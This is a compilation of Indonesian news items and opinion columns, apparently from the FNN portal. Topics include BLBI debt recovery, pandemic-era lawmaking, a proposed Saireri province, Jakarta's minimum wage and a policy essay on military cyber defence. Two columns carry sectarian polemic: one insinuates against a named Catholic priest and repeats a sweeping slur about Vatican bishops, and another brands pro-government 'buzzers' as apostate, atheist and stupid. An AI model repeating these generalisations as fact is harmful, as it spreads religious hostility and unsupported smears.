Jakarta, FNN - Satuan Tugas Penanganan Hak Tagih Negara Dana Bantuan Likuiditas Bank Indonesia (Satgas BLBI) akan menghibahkan aset hasil pembayaran utang para debitur/obligor BLBI senilai Rp492 miliar ke Pemerintah Kota Bogor dan tujuh kementerian/lembaga pada Kamis (25/11). “Seluruh aset yang bernilai 492 miliar rupiah ini akan digunakan untuk menunjang tugas dan fungsi dari kementerian/lembaga maupun pemerintah daerah dalam melaksanakan pelayanan publik,” kata Ketua Pengarah Satgas BLBI, Mahfud MD, saat jumpa pers, di Jakarta, Senin. Ia menyebutkan tujuh kementerian lembaga yang menerima dana hibah dari aset eks BLBI, yaitu Kementerian Koordinator Bidang Kemaritiman dan Investasi, Kementerian Pertahanan, Kementerian Keuangan, Kementerian Agama, Kepolisian Negara Republik Indonesia, Badan Pusat Statistik, dan Badan Narkotika Nasional. “Satgas BLBI akan menyerahkan aset eks BLBI sebagai hibah kepada Pemerintah Kota Bogor dan kepada tujuh Kementerian/Lembaga dengan Penetapan Status Penggunaan (PSP),” kata Mahfud. Dalam kesempatan itu, ia menerangkan salah satu aset seluas 1.107 meter persegi yang dihibahkan ke Kementerian Agama, nantinya diperuntukkan untuk pelaksanaan program Pendidikan Kader Ulama Internasional Masjid Istiqlal yang diselenggarakan Badan Pengelola Masjid Istiqlal. Aset itu berlokasi di Kecamatan Gambir, Jakarta. “Dalam penggunaannya oleh Kementerian Agama, aset ini bermanfaat untuk kemaslahatan umat dalam meningkatkan sumber daya umat,” kata dia. Dalam kesempatan yang sama, Ketua Pengarah Satgas BLBI juga mengumumkan pihaknya akan melelang salah satu aset hasil pembayaran utang di Lippo Karawaci, Tangerang. “Rencana penjualan secara lelang atas aset properti yang telah dikuasai secara fisik oleh Satgas BLBI yang berlokasi di Blok B Taman Buah Perumahan Lippo Karawaci, Kelapa Dua, Tangerang, dengan total luas 37.779 meter persegi,” kata dia. “Ini akan dilelang secepatnya,” kata dia. Satgas BLBI pada bulan ini telah menyita dan menerima pembayaran utang dari beberapa debitur/obligor, antara lain Sjamsul Nursalim dan PT Lucky Star Navigation Corp. “Obligor Sjamsul Nursalim yang merupakan obligor dari Bank Dewa Rutji pada 11, 17, dan 18 November 2021 telah melakukan pembayaran sebagian kewajibannya dengan nilai sebesar 150 miliar rupiah,” kata dia, pada sesi jumpa pers yang sama, Senin. Ia menerangkan angka itu mencakup biaya administrasi pengurusan piutang negara sebesar 10 persen. “Satgas BLBI juga telah menerima penyerahan tanah lagi seluas 100 Hektare yang terletak di Kabupaten Minahasa, Provinsi Sulawesi Utara sebagai bagian pelunasan kewajiban dari debitur PT Lucky Star Navigation Corp,” kata dia. (sws)

Ahli: Pembentukan UU di Masa Pandemi Minim Partisipasi Masyarakat

Jakarta, FNN - Guru besar hukum tata negara Universitas Padjadjaran, Susi D Harijanti, menilai pembentukan UU di Indonesia selama masa pandemi melibatkan partisipasi masyarakat yang minim sehingga menunjukkan lemahnya fungsi legislasi DPR dan kemunduran demokrasi. “Saya melihat bahwa pembentukan undang-undang di masa pandemi ini minim partisipasi masyarakat dan cenderung membenarkan inisiatif eksekutif,” ujar dia. Penilaian itu ia sampaikan saat menjadi narasumber dalam webinar nasional program studi Hukum Tata Negara Fakultas Hukum Universitas Indonesia bertajuk “Demokrasi di Era Pandemi” yang disiarkan secara langsung di kanal YouTube Tata Negara FHUI, dipantau dari Jakarta, Senin. Selama era pandemi ini, kata dia, lembaga eksekutif di Indonesia memang berperan lebih dominan. Peran yang dominan itu dapat dilihat dari penggunaan pasal 22 UUD 1945 yang lebih banyak daripada pasal 12 UUD 1945. Di dalam pasal 22 ayat (1) dan (2) UUD 1945, dimuat bahwa presiden berhak menetapkan peraturan pemerintah sebagai pengganti undang-undang dan peraturan tersebut harus mendapat persetujuan dari DPR dalam persidangan. Lalu dalam pasal 22 ayat (3) UUD 1945, dituliskan jika tidak mendapatkan persetujuan, maka peraturan pemerintah itu harus dicabut. Sementara terkait pasal 12 UUD 1945, dituliskan bahwa presiden menyatakan keadaan bahaya dengan syarat-syarat dan akibatnya ditetapkan undang-undang. “Jadi, eksekutif akan tetap berperan dominan daripada cabang-cabang kekuasaan legislatif dan yudikatif melalui norma-norma konstitusi yang memberikan kewenangan kepada presiden untuk melakukan tindakan dan mengeluarkan kebijakan tertentu,” kata dia. Kemudian dia juga menyoroti pelaksanaan fungsi-fungsi DPD yang ia nilai kurang terlihat signifikan selama masa pandemi Covid-19 di Indonesia. “Mungkin, saya yang tidak secara teliti membaca, namun jarang sekali kita lihat di media-media massa bagaimana DPD itu mengeluarkan atau membuat satu pernyataan, satu kebijakan yang berkaitan dengan masa krisis ini,” ujar dia. Pelaksanaan fungsi yang kurang signifikan itu, tambah Susi, dapat dilihat dari respons DPD terkait penyelenggaraan pemerintah daerah selama era pandemi, khususnya di periode awal pada Maret, April, dan Mei 2020. Saat itu, pemerintah daerah telah meminta fleksibilitas wewenang dari pemerintah pusat untuk mengelola penanganan Covid-19 di daerah mereka masing-masing. Namun, menurut dia, DPD tidak mengeluarkan pernyataan untuk mendukung permintaan itu. Oleh karena itu, dia juga mengatakan pandemi Covid-19 masih menjadi ujian bagi demokrasi dan fungsi lembaga-lembaga negara di Indonesia. Dengan demikian, ia mengharapkan masing-masing lembaga negara di Indonesia dapat memiliki daya adaptasi yang baik selama pandemi. “Masing-masing lembaga negara itu sepatutnya melakukan atau memiliki daya adaptasi yang baik dalam rangka merespons kebutuhan dan keinginan masyarakat selama era pandemi ini,” kata dia Selain itu, katanya, penting pula bagi lembaga-lembaga negara untuk membuat kebijakan yang koheren selama pandemi. (sws)

Kepala Daerah Se-Wilayah Adat Saireri Ajukan Pembentukan DOB

Jakarta, FNN - Forum Kepala Daerah se-wilayah Saireri di Papua mengajukan pembentukan daerah otonomi baru (DOB) yang dinamakan Provinsi Saireri sebagai upaya untuk mempercepat pembangunan dan kesejahteraan masyarakat di wilayah tersebut. "Kami masyarakat Saireri, tokoh adat, dan pemuda mengantarkan aspirasi terkait pembentukan DOB Saireri kepada Komisi II DPR untuk segera terbentuk daerah provinsi," kata Ketua Forum Kepala Daerah se-wilayah Saireri, Herry Ario Naap, dalam Rapat Dengar Pendapat Umum Komisi II DPR, di Kompleks Parlemen, Jakarta, Senin. Ia mengatakan, dalam pembahasan revisi UU Nomor 21/2001 tentang Otonomi Khusus Papua terjadi polemik di seluruh wilayah adat di Papua. Namun menurut dia, wilayah adat Saireri merupakan wilayah yang pertama menyatakan pendapat mendukung Otsus Papua Jilid Dua melalui revisi UU Otsus. "Saat wilayah adat lain menolak (revisi UU Otsus), kami menyetujui dan menyerahkan materi ke DPR dan pemerintah. Setelah hadirnya UU Nomor 2/2021 tentang Otsus Papua, tokoh adat, perempuan, masyarakat meminta kami untuk menyampaikan aspirasi pembentukan Provinsi Saireri," ujarnya. Ia mengatakan, wilayah Saireri memiliki potensi sumber daya alam yang melimpah khususnya dari sisi kelautan misalnya Kabupaten Biak dengan potensi perikanan sebesar 1.000.000 ton pertahun akan menghasilkan devisa negara sekitar Rp17 triliun pertahun. Karena itu Bupati Biak Numfor itu menilai, wilayah Saireri sudah layak menjadi provinsi yang dapat meningkatkan pembangunan dan kesejahteraan masyarakat serta memberikan devisa bagi negara. "Karena "Kami masuk dalam wilayah perairan dan kerja sama empat kabupaten pada 28 Agustus 2021 melaksanakan ekspor perdana perikanan yaitu ikan tuna sirip kuning. Potensi di Kabupaten Biak ada ikan kerapu, di Kepulauan Yapen dengan budidaya ikan baramundi, Kabupaten Waropen dengan kepiting dan udang," ujarnya. Naap mengatakan, mereka telah membentuk tim untuk mempersiapkan seluruh perlengkapan teknis usalan pembentukan DOB dan kajian akademis telah dalam proses persiapan serta terkonsultasi di Kementerian Dalam Negeri. RDPU itu dipimpin Wakil Ketua Komisi II DPR, Junimart Girsang, dan dihadiri para anggota Komisi II DPR secara fisik dan daring. Dalam kesempatan itu juga dihadiri antara lain Sekretaris Ketua Forum Kepala Daerah se-wilayah Saireri sekaligus Bupati Kepulauan Yapen, Tonny Tesar, Ketua DPRD Kabupaten Biak, Milka Rumaropen. (sws)

Profesionalisme TNI pada Era Pertahanan Siber

Jakarta, FNN - Reformasi 1998 telah berhasil memposisikan institusi militer berada di bawah supremasi sipil. Profesionalisme Tentara Nasional Indonesia (TNI) diukur dari fokus tugas TNI pada pertahanan negara, keterlibatan terbatas TNI dalam urusan sipil, dan ketidakterlibatan TNI dalam politik dan bisnis. Di era demokrasi digital sekarang ini, profesionalisme juga diukur dari sejauh mana TNI memainkan peran dalam membangun pertahanan siber. UU Nomor 34/2004 tentang Tentara Nasional Indonesia memberikan landasan jelas tentang profesionalisme TNI. Dalam undang-undang ini TNI berfungsi sebagai alat negara di bidang pertahanan. Dalam hal pengerahan dan penggunaan kekuatan militer, TNI tunduk pada Presiden. Secara administrasi, TNI di bawah koordinasi Kementerian Pertahanan. Inilah yang melandasi profesionalisme TNI. TNI profesional bergerak berdasarkan keputusan dan kebijakan politik negara. Profesionalisme TNI di domain siber perlu dipersiapkan dengan matang. Domain siber adalah domain perang baru di samping domain darat, laut dan udara. Selain muncul kebutuhan untuk merumuskan strategi dan kebijakan pertahanan yang berwawasan siber, juga muncul kebutuhan agar TNI membangun profesionalisme di ranah siber. Hal ini diperlukan agar tantangan yang terjadi di atas dapat diantisipasi. Di dunia siber, perbedaan klasik antara aktor militer dan sipil, publik dan swasta serta nasional dan internasional kurang jelas. Semua bercampur menjadi satu. Pada satu waktu, serangan siber menyerang objek strategis milik swasta, seperti bank swasta, tetapi berpengaruh secara luas terhadap warga negara dan mengganggu stabilitas nasional. Pada saat yang sama, infrastruktur negara, seperti telekomunikasi dan peralatan militer juga perlu dilindungi dari serangan siber. Singkatnya, serangan siber dapat dilakukan oleh siapa saja terhadap siapa saja, tapi tujuannya jelas, yaitu melemahkan stabilitas satu negara. Merumuskan peran TNI di dunia abu-abu tidak serta merta menggunakan kerangka berpikir yang diatur dalam struktur kebijakan saat ini, karena serangan siber bersifat menyeluruh. Di samping itu, TNI selain melindungi infrastruktur strategis organisasi miliknya dari serangan siber, juga melindungi infrastruktur strategis nasional dan seluruh aktor di dalamnya. TNI bakal kewalahan mengatasinya. Sejumlah negara, pada umumnya mendefinisikan peran militer pada domain siber dengan cara mengadaptasi mandat dari institusi yang ada. Tapi itu tidak cukup. Negara membutuhkan pendekatan baru, yaitu pendekatan komprehensif untuk membangun pertahanan siber. Artinya, koordinasi antara semua pemangku kepentingan, dan kerja sama antara aktor pada sektor publik, swasta, dan militer mutlak dibutuhkan. Prancis dan Australia menggunakan pendekatan ini. Kedua negara itu menempatkan organisasi yang bertanggung jawab untuk mengkoordinasikan kebijakan siber pada level tertinggi, yaitu langsung di bawah perdana menteri atau presiden. Kita dapat belajar dari kedua negara itu. Penting juga untuk mempertimbangkan perbedaan antara peran militer dan peran intelijen. Sementara militer seringkali memiliki peran terbatas pada pertahanan negara, intelijen dapat memainkan peran yang lebih leluasa seperti spionase. Inisiatif untuk pengembangan jaringan Computer Security Incident Response Team (CSIRT) lintas institusi dibutuhkan untuk meningkatkan efektifitas pengawasan dan kegiatan kontra spionase di ranah siber. Dalam situasi ketegangan antar negara lazim terjadi, komunikasi yang lebih baik dengan militer negara lain sangat penting. Indonesia harus mampu menginisiasi sebuah forum lintas stakeholders dan militer tingkat regional sebagai upaya untuk membangun pertahanan siber berantai. Yang perlu disadari bahwa pertahanan siber militer tidak hanya melayani tujuan nasional tetapi juga memiliki fungsi deklaratif yang kuat vis-a-vis negara lain. Mengingat ancaman siber bersifat internasional, tidak hanya penting untuk meningkatkan mekanisme dialog dan kerja sama organisasi regional seperti ASEAN, tetapi juga antar organisasi regional. Peran TNI di domain siber sangat krusial dan tidak bisa dilakukan TNI sendiri. Satuan Siber TNI (Satsiber TNI) yang dibentuk melalui Peraturan Presiden Nomor 66 Tahun 2019 tentang Struktur Organisasi TNI merupakan lembaga penting untuk memimpin profesionalisme TNI di ranah siber. Satuan ini bertugas menyelenggarakan kegiatan dan operasi siber di lingkungan TNI dalam rangka mendukung tugas pokok TNI. Langsung di bawah tanggung jawab Panglima TNI, Pusat Siber TNI punya fungsi cukup penting. Dengan adanya satuan siber, berbagai satuan dan komponen yang ada di mandala operasi dapat saling terhubung secara langsung dan realtime. Dalam konteks pembangunan profesionalisme dalam pertahanan siber nasional, Satsiber TNI dapat melakukan sejumlah langkah, pertama, merumuskan pendekatan komprehensif dalam mencegah serangan siber. Dalam hal ini kolaborasi penting dilakukan, terutama dengan Badan Siber dan Sandi Negara dan Kementerian Komunikasi dan Informatika sebagai leading sector pada bidang cyber security di ranah sipil, dan Badan Intelijen Negara di ranah intelijen. Pembagian peran dan kewenangan yang jelas antar organisasi akan semakin mempermudah dalam merumuskan profesionalisme TNI. Kedua, pengembangan kelembagaan lintas sektoral yang berada di bawah komando presiden. Kelembagaan ini setidaknya berisi dari TNI, Lembaga Penegak Hukum, Lembaga/Pemerintah terkait, sektor swasta, sektor publik, dan penyintas serangan siber. Setidaknya, pengembangan kelembagaan ini akan menjawab sejumlah pertanyaan penting seperti: ”bagaimana militer dan penegak hukum dapat berkolaborasi efektif untuk mengejar penjahat siber?”, “bagaimana mengembangkan hukum domestik dan internasional yang lebih responsif terhadap serangan siber?”, dan “bagaimana mengembangkan konsensus politik internasional untuk mencegah perluasan serangan siber?”. Ketiga, perumusan doktrin dan operasional prajurit di bidang pertahanan siber. Mengingat kompleksitas serangan siber, dibutuhkan keahlian spesifik di bidang teknologi informasi di kalangan prajurit. Kemampuan seperti penyerangan proaktif, antisipasi serangan, pertahanan dan pemulihan pasca serangan siber harus dikuasai oleh prajurit di seluruh matra. Selain pengembangan kompetensi dasar, juga dibutuhkan prosedur yang pasti dalam penanganan serangan siber, baik pada level organisasi TNI, nasional dan internasional. Pada akhirnya, komitmen panglima TNI terpilih untuk meningkatkan profesionalisme TNI dalam jargon “TNI adalah Kita” mau tidak mau menyasar ranah siber. Prajurit-prajurit siber di masa mendatang dipersiapkan dari sekarang. *) Ngasiman Djoyonegoro adalah pengamat intelijen, pertahanan, dan keamanan. (sws)

Ngapain Si Romo Ikut Campur?

By M Rizal Fadillah PERSOALAN seorang pengurus MUI Pusat ditangkap dengan tuduhan terlibat tindak pidana terorisme masih memerlukan pembuktian. Berlaku asas praduga tak bersalah. Di kalangan umat Islam banyak yang menyesalkan tindakan Densus 88 yang dinilai "over acting" dalam penangkapan ulama. Desakan pembubaran Densus 88 tersebut menggema. Ada nuansa Islamophobia. Mencari kesempatan dalam kesempitan terjadi di kalangan Islamophobist. MUI mendapat serangan mulai dari sebutan sarang radikalis hingga desakan pembubaran. Buzzer berteriak sambil berjingkrak kesetanan. Di tengah teriakan para buzzer tersebut muncul suara seorang Romo yang bernama Antonius Benny Susetyo yang berkomentar "MUI harus berbenah, jangan jadi sarang kelompok radikal" tokoh Konferensi Waligereja Indonesia (KWI) ini sudah menghukumi MUI sebagai sarang kelompok radikal. Netizen segera membalas dengan menyindir agar Vatikan juga segera membersihkan diri dari kelompok gay karena terbongkar banyak uskup adalah penikmat hubungan sesama jenis. Ikut campur tokoh keuskupan Katolik Roma terhadap kasus pengurus MUI dinilai tak pantas. Urusan di organisasi KWI juga tentu banyak. Benny ini juga menjadi tokoh BPIP yang sok Pancasilais padahal badan ini dikritisi sebagai badan yang boros dan tidak bermanfaat. Makan gaji buta tanpa kerja yang bermakna bagi rakyat banyak. Desakan agar BPIP dibubarkan juga cukup kuat. Salah satu karena isinya orang model Benny Susetyo seperti ini. Tokoh KWI yang ikut campur urusan MUI. Apa motif di Romo ini meminta MUI membersihkan diri ? Memancing di air keruh atau menyatakan KWI sendiri yang bersih ? Benny dapat disorot oleh umat Islam sebagai tokoh radikal. Yang harus dibersihkan baik dari KWI maupun BPIP. Jika motifnya mengadu-domba dan memanas-manasi, maka jangan-jangan tercemari oleh perilaku dan gaya PKI. Negeri ini sedang tidak baik baik saja. Lembaga dan tokoh Islam sedang dimusuhi. Sedikit saja ada celah maka diserang habis, bukan saja oleh pihak yang menganggap kompeten tetapi oleh aktivis agama lain seperti tokoh Kristen Romo Antonius Benny Susetyo ini. Romo, ga usah ikut campurlah urusan umat Islam. Urus agamamu sendiri. *) Pemerhati Politik dan Keagamaan

Pemerintah Kota Jakarta Barat Pantau Perusahaan Untuk Gaji Karyawan Sesuai UMP

Jakarta, FNN - Pemerintah Kota Jakarta Barat memastikan memantau perusahaan untuk menggaji karyawan sesuai dengan upah minimum provinsi (UMP) tahun 2022 yang sudah ditetapkan Gubernur DKI Jakarta Anies Baswedan. "Pelaksanaannya akan diawasi oleh Sudin, untuk memastikan penggajiannya sesuai peraturan," kata Kepala Suku Dinas Tenaga Kerja Transmigrasi dan Energi Jakarta Barat, Jackson Sitorus, saat dikonfirmasi di Jakarta, Senin, 22 November 2021. Menurut Jackson, kenaikan UMP 2022 akan menimbulkan reaksi beragam dari kalangan karyawan maupun para pengusaha. "Tidak sedikit pengusaha mengeluhkan kenaikan UMP tersebut," katanya, sebagaimana dikutip dari Antara. Di sisi lain, kata dia, banyak juga pengusaha yang tidak keberatan, karena kondisi keuangan perusahaan dinilai masih memadai. Jackson memastikan, seluruh perusahaan di Jakarta Barat, tetap membayarkan upah sesuai aturan. Pihaknya juga siap menangani laporan para karyawan yang merasa tidak dibayar sesuai dengan upah yang sudah ditentukan. "Kita akan turun ke lapangan jika ada pengaduan, kita bisa akomodasi pengaduan itu," kata Jackson. Sebelumnya, Anies Baswedan menetapkan UMP 2022 sebesar Rp 4.453.935,536 ,sesuai dengan ketentuan peraturan perundang-undangan yang menjadi acuan bagi seluruh wilayah Indonesia. "Jadi, sudah ditetapkan besaran UMP DKI Jakarta pada 2022 sebesar Rp 4.453.935,536," kata Anies dikutip dari siaran pers Pejabat Pengelola Informasi dan Dokumentasi (PPID) Provinsi DKI Jakarta, Minggu, 21 November 2021. Anies mengatakan, penetapan UMP DKI Jakarta pada 2022 sebagai salah satu upaya peningkatan kesejahteraan para pekerja/buruh di Jakarta. Anies menetapkan UMP DKI Jakarta 2022 berdasarkan ketentuan Undang Undang Nomor 11 Tahun 2020 tentang Cipta Kerja serta formula pada Pasal 26 dan Pasal 27 Peraturan Pemerintah Nomor 36 Tahun 2021 tentang Pengupahan yang berlaku bagi pekerja/buruh dengan masa kerja kurang dari satu tahun. Berdasarkan penetapan UMP tersebut, maka Pemerintah Provinsi DKI Jakarta mewajibkan kepada para pengusaha untuk menyusun struktur dan skala upah pada perusahaannya dengan memperhatikan kemampuan perusahaan dan produktivitas sebagai pedoman upah bagi pekerja/buruh dengan masa kerja setahun atau lebih. Selain itu, Pemprov DKI Jakarta juga akan mengawasi dan memberikan sanksi administratif bagi pengusaha yang tidak melakukan kewajiban tersebut. (MD).

Mahfud Satgas BLBI Somasi Kaharudin Ongko Dan Agus Anwar

Jakarta, FNN - Satuan Tugas Penanganan Hak Tagih Negara Dana Bantuan Likuiditas Bank Indonesia (Satgas BLBI) telah melayangkan somasi terhadap Kaharudin Ongko dan Agus Anwar agar keduanya segera membayar utangnya kepada negara. Jika somasi itu tidak dipenuhi, maka pemerintah akan bertindak tegas terhadap dua obligor itu, kata Ketua Pengarah Satgas BLBI Mahfud MD saat jumpa pers di Jakarta, Senin, 22 November 2021. “Satgas BLBI akan menempuh langkah hukum untuk memastikan hak negara dipenuhi obligor yang bersangkutan,” kata dia. Ongko merupakan taipan pemilik Bank Umum Nasional yang turut meminjam dana Bantuan Likuiditas Bank Indonesia sekitar Rp 8,2 triliun. Namun, jika mengikutsertakan biaya administrasi nilai utang bertambah jadi kurang lebih Rp 8,6 triliun. Satgas BLBI pada September 2021 telah menyita beberapa aset Kaharudin dan melakukan pencairan terhadap hasil sitaan itu yang nilainya sebesar Rp 110,1 miliar. Sementara itu, Anwar merupakan bekas pemilik Bank Pelita Istimart yang juga menerima kucuran dana BLBI. Pemerintah kesulitan memanggil dan menagih utang ke Anwar, karena dia kabur ke Singapura. Walaupun demikian, Satgas BLBI pada Agustus 2021 tetap memanggil Agus Anwar untuk datang ke Kementerian Keuangan dan membayar utangnya ke negara, yang terdiri atas Rp 635,4 miliar untuk Program Penyelesaian Kewajiban Pemegang Saham (PKPS) Bank Pelita Istimart, Rp 82,2 miliar terkait posisi Agus sebagai penjamin penyelesaian kewajiban debitur PT Panca Puspan, dan Rp 22,3 miliar, yang mana Agus merupakan penjamin dari PT Bumisuri Adilestari. Mahfud yang juga menjabat sebagai ketua pengarah Satgas BLBI mengingatkan pemerintah akan terus-menerus mengingatkan para obligor dan debitur melunasi utangnya kepada negara. Ia juga mengingatkan para debitur dan obligor agar taat hukum dan tidak melakukan tindakan melawan hukum demi mangkir dari kewajibannya membayar utang. “Satgas BLBI akan melakukan upaya hukum pidana apabila ditemukan adanya pelanggaran hukum pidana yang dilakukan oleh obligor/debitur yang terkait dengan aset jaminan,” ujar dia, sebagaimana dikutip dari Antara. Dalam jumpa pers di Kantor Kementerian Koordinator Politik, Hukum, dan HAM RI, Jakarta, Senin, Mahfud didampingi Ketua Satgas BLBI, Rionald Silaban, Wakil Ketua Satgas BLBI, Feri Wibisono, dan Sekretaris Satgas BLBI, Sugeng Purnomo. (MD).

GIAT Dorong Keberlangsungan Tenun Nusantara Di Tengah Pandemi

Jakarta, FNN - Citra Kartini Indonesia meluncurkan Gerakan Ibu Asuh Terpadu (GIAT) bertujuan untuk menjaga keberlangsungan wastra tenun nusantara. "GIAT dicanangkan untuk bisa menyerap tenun gringsing agar kehidupan para penenun tertolong dan produktivitas mereka tetap terjaga," demikian keterangan pers Citra Kartini Indonesia diterima ANTARA di Jakarta, Ahad, 21 November 2021, malam. Menurut Ketua Citra Kartini Indonesia, Ayu Rosan, tanggung jawab sosial personal dalam GIAT diwujudkan dengan membeli kain gringsing sehingga membantu para perajin dan penenun di Tanah Air mengingat sektor pariwisata sangat terdampak akibat pandemi Covid-19. "Dengan membeli gringsing, kita sudah jadi ibu asuh. Banyak di antara kita yang bergantung pada sektor wisata dan saat ini terdampak pandemi Covid-19," kata Ayu. Ayu, yang juga istri Dubes RI di AS, berharap GIAT bisa membantu para perajin dan penenun sehingga kelestarian hasil karya tenun yang merupakan warisan budaya itu tidak punah. Sementara itu Menteri Luar Negeri Retno Marsudi turut menyambut program GIAT. Menurut Retno, GIAT dapat menjadi pendorong bagi para perajin yang tengah kesulitan lantaran terdampak pandemi Covid-19. Inisiator GIAT, Miranti Serad, menambahkan sudah waktunya masyarakat berbicara mengenai tanggung jawab sosial personal, terutama kalangan perempuan. Miranti mengatakan perempuan bukan hanya berperan sebagai ibu, melainkan juga sebagai pelaku usaha sekaligus agen budaya. Oleh karena itu sudah sepantasnya kalangan perempuan memberi perhatian pada pelaku usaha kecil, termasuk para perajin. "Sebagai agen budaya, kita bertanggung jawab pada semua kegiatan yang berkaitan dengan kearifan lokal," ujar Miranti. Tenun Gringsing memiliki keunikan tersendiri. Nama tenun ini berasal dari kata gring (sakit) dan sing (tidak). Tenun yang berasal dari Desa Tenganan Pegringsingan, Bali ini juga dipilih sebagai suvenir resmi pada acara G-20 pada 2022 mendatang. (MD).

Ketua Korpri Imbau ASN Taat Larangan Cuti Akhir Tahun

Jakarta, FNN - Ketua Umum Dewan Pengurus Nasional Korps Pegawai Republik Indonesia (DPN Korpri), Zudan A Fakrullah, mengimbau seluruh aparatur sipil negara (ASN) menaati aturan pemerintah yang meniadakan cuti bersama dan cuti akhir tahun 2021. “Seluruh anggota Korpri saya minta untuk taat aturan dan ikuti penuh ketentuan cuti akhir tahun,” kata dia, dalam keterangannya yang diterima di Jakarta, Senin, 22 November 2021. Ia juga meminta seluruh ASN di berbagai daerah untuk tidak melakukan perjalanan ke luar kota, baik untuk pulang kampung maupun wisata. “Tidak perlu pulang kampung, tidak perlu wisata ke luar kota,” katanya, sebagaimana dikutip dari Antara. Pemerintah memberlakukan larangan cuti akhir tahun bagi ASN, tentara, polisi, karyawan BUMN, dan karyawan swasta. Larangan tersebut diterapkan untuk mengantisipasi lonjakan kasus penularan Covid-19 di berbagai daerah di Tanah Air. Juru Bicara Satuan Tugas Penanganan Covid-19, Wiku Adisasmito, mengatakan, larangan itu diberlakukan untuk meminimalkan pergerakan masyarakat. “Satgas Covid-19 mencatat setiap kali terjadi peningkatan mobilitas di masyarakat berkorelasi dengan terjadinya peningkatan kasus Covid-19,” katanya dalam keterangan pers secara daring dari Jakarta, Kamis, 18 November 2021. Dengan pengurangan mobilitas masyarakat sekitar 20-40 persen dari intensitas normal, maka angka reproduksi efektif berada di bawah 1. Semakin tinggi angka reproduksi efektif berarti semakin besar peluang jumlah kasus positif Covid-19. “Sebagaimana kita ketahui bersama bahwa berdasarkan pengalaman yang lalu, periode libur panjang selalu menimbulkan kenaikan kasus. Hal ini terjadi akibat kecenderungan masyarakat mengisi momen liburan dengan bepergian ke luar rumah dan mengunjungi sanak saudara atau kerabat yang sering mengurangi kedisiplinan seseorang dalam menegakkan protokol kesehatan,” ujar dia. (MD).

Agama Para Buzzer

Oleh Ady Amar *) ADA yang bertanya, apa sih agama para buzzer itu? Pertanyaan serius tentunya. Memang pantas itu ditanyakan. Fenomena buzzer makin hari makin menjadi atau ngelunjak dengan intensitas menyerangnya, bahkan melecehkan agama. Sudah keterlaluan. Maka menjadi wajar jika ada yang bertanya, apa sebenarnya agama para buzzer itu. Karena mustahil orang beragama apalagi mengaku Islam, bisa menjadi buzzer. Teringat apa yang dikatakan Allahyarham Ustadz Tengku Zulkarnain, berkenaan posisi seseorang yang mengaku Islam tapi berprofesi sebagai buzzer, "Jika ia beragama Islam, maka ia telah murtad." Makna murtad di sini tentu tidak semacam Sukmawati Soekarnoputri, yang deklarasi pindah agama dengan melakukan ritual Sudhi Wadani, upacara pelepasan agama ayah bundanya, dan memilih agama Hindu. Pastinya itu juga akan dilanjut dengan perubahan pada kolom agama di KTP nya. Murtadnya para buzzer, sebagaimana dimaksud Ustadz Tengku Zul di atas, itu tidaklah akan sampai berani melepas agama Islam di KTP nya, meski tiap saat mereka menyerang Ulama dan para aktivis dakwah. Bahkan agamanya sendiri dilecehkan dan jadi bahan candaan. Pilihan sikap itu yang bisa disebut murtad. Tapi ada pendapat lain menyebut, bahwa sebenarnya para buzzer itu tidak beragama (atheis). Karena cuma atheis yang bisa mencaci maki dan mengolok agama (Islam) sepuasnya. Itu bisa diserupakan dengan era Orde Lama dulu, di mana kesenian ludruk, yang saat itu jadi primadona tontonan rakyat, disusupi Lekra, sebuah lembaga kesenian rakyat yang berafiliasi pada PKI. Kerap lakon pertunjukannya menghina Islam. Bahkan menyerupakan Allah dengan makhluk, yang bisa kawin dan mati. Misal, muncul pertunjukan ludruk di Jawa Timur, tahun 1960 an, dengan lakon Gusti Allah Mantu (Tuhan Dapat Menantu) dan lakon Matinè Gusti Allah (Matinya Tuhan). Maka korelasi bisa ditarik, bahwa agama seseorang, apapun itu, jika memilih buzzer sebagai profesi, itu sebenarnya pilihan menjadi murtad, pilihan menjadi atheis. Karenanya, pertanyaan apa agama para buzzer, itu setidaknya bisa terjawab: tidak beragama dan bahkan tidak mengakui keberadaan Tuhan (atheis). Bisa atas kesadarannya sendiri memilih jalan atheis, atau bisa karena kebodohannya yang menjadikan ia atheis. Mayoritas para buzzer memang bodoh, bahkan masuk kategori akut, yang cuma bisa mendengung atau menggonggong jadi profesi dengan imbalan tidak seberapa. Perbuatan yang cuma bisa dilakukan oleh orang yang tidak beragama. Dengan menanggalkan agama, para buzzer itu menjadi fasih dalam menghina agama sesukanya. Tidak merasa sedikit pun jengah dengan apa yang diperbuat. Adalah hal biasa, jika agama jadi bahan candaan-hinaan. Itu bisa makin menjadi, jika hati memang sudah lama mati. Mereka tiap saat menjadi makin beringas memproduk ujaran hinaan/pelecehan pada ulama lurus, yang berdakwah amar ma'ruf nahi munkar. Pelecehan juga menyasar pada tokoh yang punya kepakaran pada bidang tertentu, yang memilih berjarak dengan rezim pemerintahan. Maka, para buzzer menyerang yang bersangkutan dengan menyasar personalnya secara kasar dan sadis. Setidaknya hari-hari ini suasana demikian dihadirkan. Kesabaran pun Ada Batasnya Para buzzer acap beraksi dengan laku aneh-aneh, laku bodoh, yang pastinya ingin mengundang respons. Baru saja pentolan buzzer diberitakan menikah, itu secara Islami. Tiba-tiba memposting dengan istrinya sedang sembahyang di Pura, tampaknya di Bali. Postingan yang berharap umat Islam merespons marah dengan kelakuan bodohnya itu. Tapi yang muncul justru netizen beramai-ramai mendoakan, agar yang bersangkutan bisa secepatnya pindah agama. Umat sepertinya senang jika ia pindah agama. Para buzzer itu, banyak kalangan menyebut, bekerja untuk istana. Bekerja untuk rezim. Memang itu yang tampak. Maka setiap yang mencoba mengkritisi kebijakan rezim, maka bersiap-siap dihajar para buzzer di seputar kekuasaan. Bukan dengan beradu argumen ilmiah dengan pengkritik kebijakan tadi, tapi menghajar personal yang bersangkutan dengan hal yang sama sekali tidak ada hubungan dengan apa yang dikritik- dikoreksinya. Membuka aib yang bersangkutan, meski itu dengan tidak sebenarnya, memfitnah. Itu hal biasa. Dilakukan agar menimbulkan ketakutan pada yang lain untuk tidak coba-coba nekat memilih jadi oposan berseberangan dengan rezim. Maka, siapa saja akan dihajar dengan dirusak nama baiknya, bahkan jika itu harus menyasar pada bapak kandungnya sekalipun, buatnya itu tidak masalah. Fenomena buzzer dihadirkan dengan cakupan pekerjaan tidak saja mengamankan kebijakan rezim, tapi juga menghantam pejabat siapa pun itu, yang sekiranya bisa menjadi ancaman kekuatan masa depan. Maka, Gubernur DKI Jakarta, Anies Baswedan, jadi pihak yang disasar terus menerus dengan pemberitaan tidak sebenarnya. Di mata para buzzer, Anies tampak tidak ada baik-baiknya, tidak ada benar-benarnya, bahkan tidak berprestasi. 